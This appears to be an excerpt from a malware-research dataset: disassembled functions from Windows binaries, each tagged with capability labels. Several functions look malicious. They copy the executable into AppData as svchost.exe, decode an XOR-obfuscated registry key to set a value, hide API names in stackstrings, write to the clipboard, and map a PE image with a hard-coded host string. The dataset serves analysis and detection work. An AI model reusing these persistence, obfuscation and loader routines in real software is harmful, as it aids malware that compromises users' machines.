joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100527d5
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
test edi, edi
je 0x100527e7
cmp dword [esi], 2
jae 0x100527e7
push 0x7a
pop eax
jmp 0x10052848
mov eax, dword [esi]
and dword [esi], 0
add eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push edi
lea eax, [ebp + 0xc]
push eax
mov eax, dword [ebp + 8]
push 0
push dword [ebp + 0xc]
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x10052848
cmp dword [ebp + 0xc], 7
je 0x10052818
push 0xd
jmp 0x100527e4
mov ecx, dword [ebp - 4]
test edi, edi
je 0x10052842
test cl, 1
jne 0x10052814
mov eax, ecx
shr eax, 1
cmp eax, 1
jb 0x10052814
cmp word [edi + eax*2 - 2], 0
jne 0x10052814
cmp eax, 1
jbe 0x10052842
cmp word [edi + eax*2 - 4], 0
jne 0x10052814
shr ecx, 1
mov dword [esi], ecx
xor eax, eax
leave
ret 8

Function at 0x10057e50
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffc00
push ebx
push esi
push edi
lea edi, [ebp - 0x400]
xor ebx, ebx
mov edx, 0xedb88320
mov eax, ebx
mov ecx, 8
xor esi, esi
shr eax, 1
cmovb esi, edx
xor eax, esi
dec ecx
jne 0x10057e70
mov dword [edi], eax
add edi, 4
inc bl
jne 0x10057e69
mov ecx, dword [ebp + 0xc]
or eax, 0xffffffff
mov esi, dword [ebp + 8]
lea edi, [ebp - 0x400]
sub ecx, 4
jl 0x10057ec7
xor eax, dword [esi]
add esi, 4
movzx edx, al
shr eax, 8
xor eax, dword [edi + edx*4]
movzx edx, al
shr eax, 8
xor eax, dword [edi + edx*4]
movzx edx, al
shr eax, 8
xor eax, dword [edi + edx*4]
movzx edx, al
shr eax, 8
xor eax, dword [edi + edx*4]
sub ecx, 4
jge 0x10057e99
mov edx, dword [ecx*4 + 0x100b9220]
and edx, dword [esi]
xor eax, edx
lea esi, [ecx + esi + 4]
jmp dword [ecx*4 + 0x100b9230]
Function at 0x1005af3f
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x100bbac0], 0
push esi
jne 0x1005aeb2
call fcn.1005add8
test eax, eax
je 0x1005aef5
mov eax, dword [0x100bbac0]
cmp eax, 1
jne 0x1005aed3
push 0xd
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x1005aef5
pop esi
ret
push eax
call dword [0x100bbac8]
test eax, eax
jne 0x1005af3d
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x1005aef9
xor eax, eax
pop esi
ret
mov eax, dword [esi]
push edi
push dword [0x100bbac0]
call dword [0x100bbac8]
mov edi, eax
test edi, edi
je 0x1005af1e
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x1005af3a
mov edi, esi
add esi, 0xff0
push edi
push dword [0x100bbac0]
call dword [0x100bbac4]
add edi, 0x10
cmp edi, esi
jb 0x1005af26
mov eax, edi
pop edi
pop esi
ret
jmp 0x1005ae9f

Function at 0x1005bea6
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100b97c0]
jne 0x1005beb0
repz ret
jmp fcn.1006393e
Function at 0x10070978
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.10066b74
and dword [ebp - 4], 0
cmp dword [0x100bc8d0], 0
mov ebx, eax
jne 0x10070a29
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x10070ada
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x10070ada
push eax
call fcn.10066b02
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x100bc8d0], eax
call esi
push eax
call fcn.10066b02
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x100bc8d4], eax
call esi
push eax
call fcn.10066b02
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x100bc8d8], eax
call esi
push eax
call fcn.10066b02
pop ecx
mov dword [0x100bc8e0], eax
test eax, eax
je 0x10070a29
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.10066b02
pop ecx
mov dword [0x100bc8dc], eax
mov eax, dword [0x100bc8dc]
cmp eax, ebx
je 0x10070a81
cmp dword [0x100bc8e0], ebx
je 0x10070a81
push eax
call fcn.10066b7d
push dword [0x100bc8e0]
mov esi, eax
call fcn.10066b7d
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x10070a81
test edi, edi
je 0x10070a81
call esi
test eax, eax
je 0x10070a78
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x10070a78
test byte [ebp - 0xc], 1
jne 0x10070a81
or dword [ebp + 0x10], 0x200000
jmp 0x10070aba
mov eax, dword [0x100bc8d4]
cmp eax, ebx
je 0x10070aba
push eax
call fcn.10066b7d
pop ecx
test eax, eax
je 0x10070aba
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x10070aba
mov eax, dword [0x100bc8d8]
cmp eax, ebx
je 0x10070aba
push eax
call fcn.10066b7d
pop ecx
test eax, eax
je 0x10070aba
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x100bc8d0]
call fcn.10066b7d
pop ecx
test eax, eax
je 0x10070ada
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x10070adc
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100713f2
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x10071423
call fcn.10062a9a
mov dword [eax], esi
call fcn.10062a87
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.1005e40a
add esp, 0x14
push 0x16
pop eax
jmp 0x10071478
test dword [ebp + 0xc], 0xfffffff9
jne 0x100713ff
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x10071450
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.10062aad
pop ecx
call fcn.10062a87
mov eax, dword [eax]
jmp 0x10071478
test al, 0x10
jne 0x10071476
test al, 1
je 0x10071476
test byte [ebp + 0xc], 2
je 0x10071476
call fcn.10062a9a
mov dword [eax], 5
call fcn.10062a87
mov dword [eax], 0xd
jmp 0x10071447
xor eax, eax
pop esi
pop ebp
ret
Function at 0x401b00
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40b71d
mov eax, dword fs:[0]
push eax
sub esp, 0x4c
mov eax, dword [0x410014]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
push str.User32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edi, eax
mov dword [ebp - 0x24], 0x45506f20
mov cl, 0x20
mov dword [ebp - 0x20], 0x494c634e
mov dword [ebp - 0x1c], 0x414f4250
xor eax, eax
mov word [ebp - 0x18], 0x4452
mov byte [ebp - 0x16], 0
nop
xor byte [ebp + eax - 0x23], cl
inc eax
cmp eax, 0xd
jae 0x401b6f
mov cl, byte [ebp - 0x24]
jmp 0x401b60
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea eax, [ebp - 0x23]
push eax
push edi
mov byte [ebp - 0x16], 0
call ebx
movaps xmm0, xmmword [str.1r_BTr_XASPCU]
xor edx, edx
mov dword [ebp - 0x4c], eax
movups xmmword [ebp - 0x48], xmm0
mov cl, byte [ebp - 0x48]
xor byte [ebp + edx - 0x47], cl
inc edx
cmp edx, 0xe
jb 0x401b90
lea eax, [ebp - 0x47]
mov byte [ebp - 0x39], 0
push eax
push edi
call ebx
movaps xmm0, xmmword [0x40dc30]
mov esi, eax
movups xmmword [ebp - 0x38], xmm0
mov word [ebp - 0x28], 0x2c
xor ecx, ecx
nop dword [eax]
mov al, byte [ebp - 0x38]
xor byte [ebp + ecx - 0x37], al
inc ecx
cmp ecx, 0x10
jb 0x401bc0
lea eax, [ebp - 0x37]
mov byte [ebp - 0x27], 0
push eax
push edi
call ebx
mov dword [ebp - 4], 0
mov edi, eax
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0
push 0
mov byte [ebp - 4], 1
call dword [ebp - 0x4c]
test eax, eax
je 0x401c13
push 1
call edi
mov edi, eax
test edi, edi
je 0x401c13
push edi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ebx, eax
test ebx, ebx
jne 0x401c36
call esi
mov eax, 0x40d578
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0040a8bf
mov esp, ebp
pop ebp
ret
push edi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call esi
mov eax, ebx
jmp 0x401c1a
Function at 0x401c70
Capabilities:
Encode data using xor
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40b75d
mov eax, dword fs:[0]
push eax
sub esp, 0x4c
mov eax, dword [0x410014]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov edi, ecx
mov dword [ebp - 4], 0
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0
push str.User32.dll
mov byte [ebp - 4], 1
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ebx, eax
mov dword [ebp - 0x24], 0x34211e51
mov cl, 0x51
mov dword [ebp - 0x20], 0x383d123f
mov dword [ebp - 0x1c], 0x303e3321
xor eax, eax
mov word [ebp - 0x18], 0x3523
mov byte [ebp - 0x16], 0
nop dword [eax]
xor byte [ebp + eax - 0x23], cl
inc eax
cmp eax, 0xd
jae 0x401cff
mov cl, byte [ebp - 0x24]
jmp 0x401cf0
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea eax, [ebp - 0x23]
push eax
push ebx
mov byte [ebp - 0x16], 0
call esi
movaps xmm0, xmmword [0x40dbe0]
xor edx, edx
mov dword [ebp - 0x48], eax
movups xmmword [ebp - 0x34], xmm0
mov cl, byte [ebp - 0x34]
xor byte [ebp + edx - 0x33], cl
inc edx
cmp edx, 0xe
jb 0x401d20
lea eax, [ebp - 0x33]
mov byte [ebp - 0x25], 0
push eax
push ebx
call esi
movaps xmm0, xmmword [0x40dc00]
xor edx, edx
mov dword [ebp - 0x4c], eax
movups xmmword [ebp - 0x44], xmm0
mov cl, byte [ebp - 0x44]
xor byte [ebp + edx - 0x43], cl
inc edx
cmp edx, 0xe
jb 0x401d48
lea eax, [ebp - 0x43]
mov byte [ebp - 0x35], 0
push eax
push ebx
call esi
push 0
mov esi, eax
call dword [ebp - 0x48]
call esi
mov eax, dword [edi + 0x10]
lea ebx, [edi + 0x10]
inc eax
push eax
push 0x2042
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
jne 0x401da3
call dword [ebp - 0x4c]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0040a8bf
mov esp, ebp
pop ebp
ret
cmp dword [edi + 0x14], 0x10
jb 0x401dab
mov edi, dword [edi]
mov eax, dword [ebx]
inc eax
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push eax
call sub.ucrtbase.dll_memcpy
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push esi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [ebp - 0x4c]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
jmp 0x401d87
Function at 0x4021f0
Capabilities:
Check mutex on windows
Copy file
Encode data using xor
Get common file path
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40b8c0
mov eax, dword fs:[0]
push eax
sub esp, 0x430
mov eax, dword [0x410014]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
push 0x208
lea eax, [ebp - 0x424]
push 0
push eax
call sub.ucrtbase.dll_memset
add esp, 0xc
lea eax, [ebp - 0x424]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x208
lea eax, [ebp - 0x21c]
push 0
push eax
call sub.ucrtbase.dll_memset
add esp, 0xc
lea eax, [ebp - 0x21c]
push 0
push 0x1a
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push str._svchost.exe
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push str.wxDMprZmGxEs3AOvXQVXmoNl1o
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push 0
push eax
mov dword [ebp - 0x430], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x42c], eax
lea eax, [ebp - 0x21c]
push 0
push eax
lea eax, [ebp - 0x424]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
push str.MQXJI_L_BSwlqmqxjBIwpzqimB_kllpjHlmwqpBLkpQp
mov dword [ebp - 0x434], 0
mov dword [ebp - 0x428], 0
call ebx
push eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov edi, eax
push str.MQXJI_L_BSwlqmqxjBIwpzqimB_kllpjHlmwqpBLkpQp
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push edi
xor esi, esi
call ebx
test eax, eax
jle 0x40230e
xor byte [esi + edi], 0x1e
inc esi
push edi
call ebx
cmp esi, eax
jl 0x402302
lea eax, [ebp - 0x434]
push eax
lea eax, [ebp - 0x428]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push edi
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x402371
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
lea eax, [ebp - 0x21c]
push eax
push 1
push 0
push str.sqgsf
push dword [ebp - 0x428]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x428]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x42c], 0
je 0x4023a7
mov esi, dword [ebp - 0x430]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0040a8bf
mov esp, ebp
pop ebp
ret 0x10
mov dword [ebp - 4], 0
mov dword [ebp - 0x438], 0
mov dword [ebp - 0x434], 0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x42c]
mov dword [ebp - fcn.00401e00], 0x40da98
mov dword [ebp - 0x428], 0x40dbcc
call fcn.00401e00
mov eax, dword [ebp - 0x428]
lea ecx, [ebp - 0x428]
call dword [eax]
mov esi, dword [ebp - 0x430]
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x402380
Function at 0x402ad0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
mov edx, 0x811c9dc5
push edi
mov edi, dword [ebp + 8]
mov ecx, 0
sub esi, edi
je 0x402b01
nop dword [eax]
movzx eax, byte [ecx + edi]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, esi
jb 0x402af0
pop edi
mov eax, edx
pop esi
pop ebp
ret 8
Function at 0x40b2ab
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40b2ea
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40b2ea
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40b2ea
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40b2ea
cmp dword [ecx + 0x74], 0xe
jbe 0x40b2ea
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x401390
Capabilities:
Hide graphical window

Disassembly:
mov eax, dword [esi + 0x7c]
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x4013af
mov ecx, dword [esi + 0x7c]
push ecx
call dword [sym.imp.USER32.dll_DestroyWindow]
mov dword [esi + 0x7c], 0
call fcn.00404d88
mov eax, dword [eax + 8]
mov edx, dword [esi + 0x84]
mov ecx, dword [esi + 0x80]
push 0
push eax
push 0
push 0
lea eax, [edx + edx + 0x24]
push eax
lea edx, [ecx + ecx + 0x10]
push edx
push 0x64
push 0x64
push 0xcf0000
push 0x43d30c
push str.name
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
push 1
push eax
mov dword [esi + 0x7c], eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [esi + 0x7c]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
ret

Function at 0x402220
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x435df0
mov eax, dword fs:[0]
push eax
sub esp, 0x24
push ebx
push esi
push edi
mov eax, dword [0x447700]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 8]
push 0x43d824
mov edi, ecx
push str.kernel32.dll
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x24], 0x448b90
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov eax, dword [edi]
movzx ecx, word [eax + 0x14]
mov ebx, dword [edi + 4]
mov dword [ebp - 0x28], ebx
lea esi, [ecx + eax + 0x18]
mov dword [ebp - 0x18], 0
mov edx, dword [edi]
movzx eax, word [edx + 6]
cmp dword [ebp - 0x18], eax
mov dword [ebp - 0x14], esi
jge 0x402354
mov eax, dword [esi + 0x10]
test eax, eax
jne 0x4022e0
mov ecx, dword [ebp - 0x20]
mov edi, dword [ecx + 0x38]
test edi, edi
jle 0x402346
mov edx, dword [esi + 0xc]
push 4
push 0x1000
push edi
add edx, ebx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0
push eax
mov dword [esi + 8], eax
call fcn.00423060
inc dword [ebp - 0x18]
mov edi, dword [ebp - 0x30]
add esp, 0xc
add esi, 0x28
jmp 0x40228b
push 4
push 0x1000
push eax
mov eax, dword [esi + 0xc]
add eax, ebx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x443030
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], 0
push ecx
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0x55
call fcn.0042332d
mov eax, dword [ebp - 0x14]
mov edx, dword [eax + 0x10]
mov eax, dword [eax + 0x14]
add eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x1c]
push edx
push eax
push ecx
call fcn.00429020
add esp, 0xc
mov dword [ebp - 4], 0xffffffff
mov eax, 0x40233a
ret
inc dword [ebp - 0x18]
mov edi, dword [ebp - 0x30]
add esi, 0x28
jmp 0x40228b
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402780
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x435f70
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push ebx
push esi
push edi
mov eax, dword [0x447700]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, 0x5a4d
cmp word [0x448b90], ax
je 0x4027cd
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, dword [0x448bcc]
cmp dword [edi + 0x448b90], 0x4550
lea edi, [edi + 0x448b90]
mov dword [ebp - 0x1c], edi
jne 0x4027b9
mov ecx, dword [edi + 0x50]
mov edx, dword [edi + 0x34]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push 0x2000
push ecx
push edx
call ebx
mov esi, eax
mov dword [ebp - 0x14], esi
test esi, esi
jne 0x40281f
mov eax, dword [edi + 0x50]
push 4
push 0x2000
push eax
push esi
call ebx
mov esi, eax
mov dword [ebp - 0x14], eax
test esi, esi
je 0x4027b9
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
xor ecx, ecx
mov dword [ebp - 4], ecx
mov dword [eax + 0xc], ecx
mov dword [eax + 8], ecx
mov dword [eax + 0x10], ecx
push 0x443030
lea ecx, [ebp - 0x20]
push ecx
mov dword [ebp - 0x18], eax
mov dword [eax + 4], esi
mov dword [ebp - 0x20], 0x3f
call fcn.0042332d
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx + 0x50]
mov ecx, dword [ebp - 0x14]
push 4
push 0x1000
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 4], 0xffffffff
mov eax, 0x40287e
ret

Function at 0x402c60
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
push edi
call fcn.00402ad0
call fcn.00402780
push 0x14
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
test ebx, ebx
je 0x402c95
mov eax, dword [esp + 0x10]
push eax
mov eax, ebx
call fcn.00402970
add esp, 4
test eax, eax
jne 0x402c99
mov esi, ebx
call fcn.00402a10
pop edi
pop esi
pop ebx
ret
push 0x43dbf8
sub esp, 0x9c0
mov ecx, 0x270
mov esi, str.xxf221.x3322.net
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call eax
mov esi, ebx
call fcn.00402a10
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x402e60
Capabilities:
Read file on windows
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
push 0x4360e8
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebx
push esi
mov eax, dword [0x447700]
xor eax, esp
push eax
lea eax, [esp + 0x24]
mov dword fs:[0], eax
mov eax, dword [edi + 0x94]
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x402fbb
call fcn.0040c1e1
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x402eb4
push 0x80004005
call fcn.00401830
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x10], eax
mov dword [esp + 0x2c], 0
mov ecx, dword [edi + 0x78]
mov edx, dword [edi + 0x7c]
push ecx
push edx
lea eax, [esp + 0x18]
push str._d__d
push eax
call fcn.00401810
mov ebx, dword [esp + 0x20]
add esp, 0x10
push ebx
mov ecx, edi
call fcn.0040a98f
mov ecx, dword [edi + 0x84]
imul ecx, dword [edi + 0x88]
mov edx, dword [esp + 0x34]
mov dword [esp + 0x14], ecx
dec edx
mov dword [esp + 0x34], edx
fild dword [esp + 0x14]
push 0
push 0
fmul qword [0x43dc08]
fild dword [esp + 0x3c]
fmulp st(1)
call fcn.00425620
push eax
mov eax, dword [edi + 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edx, dword [edi + 0x84]
imul edx, dword [edi + 0x88]
mov dword [esp + 0x34], edx
mov edx, dword [edi + 0x80]
push 0
fild dword [esp + 0x38]
lea ecx, [esp + 0x20]
fnstcw word [esp + 0x38]
movzx eax, word [esp + 0x38]
fmul qword [0x43dc08]
or eax, 0xc00
mov dword [esp + 0x18], eax
push ecx
mov ecx, dword [edi + 0x74]
fldcw word [esp + 0x1c]
fistp qword [esp + 0x1c]
mov eax, dword [esp + 0x1c]
push eax
push ecx
fldcw word [esp + 0x44]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [edi + 0x74]
lea esi, [edi + 0x1f4]
call fcn.00401210
lea eax, [ebx - 0x10]
mov dword [esp + 0x2c], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402fbb
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x24]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
add esp, 0x24
ret 4

Function at 0x403db0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
movzx edx, word [esp + 4]
mov dword [esp + 4], edx
jmp fcn.0040edbd

Function at 0x404070
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x404089
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x4040c4
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x4040c0
lea ebx, [ebx]
cmp esi, eax
jae 0x4040c4
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x4040b0
cmp esi, eax
jb 0x4040ca
pop esi
pop edi
xor eax, eax
pop ebx
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret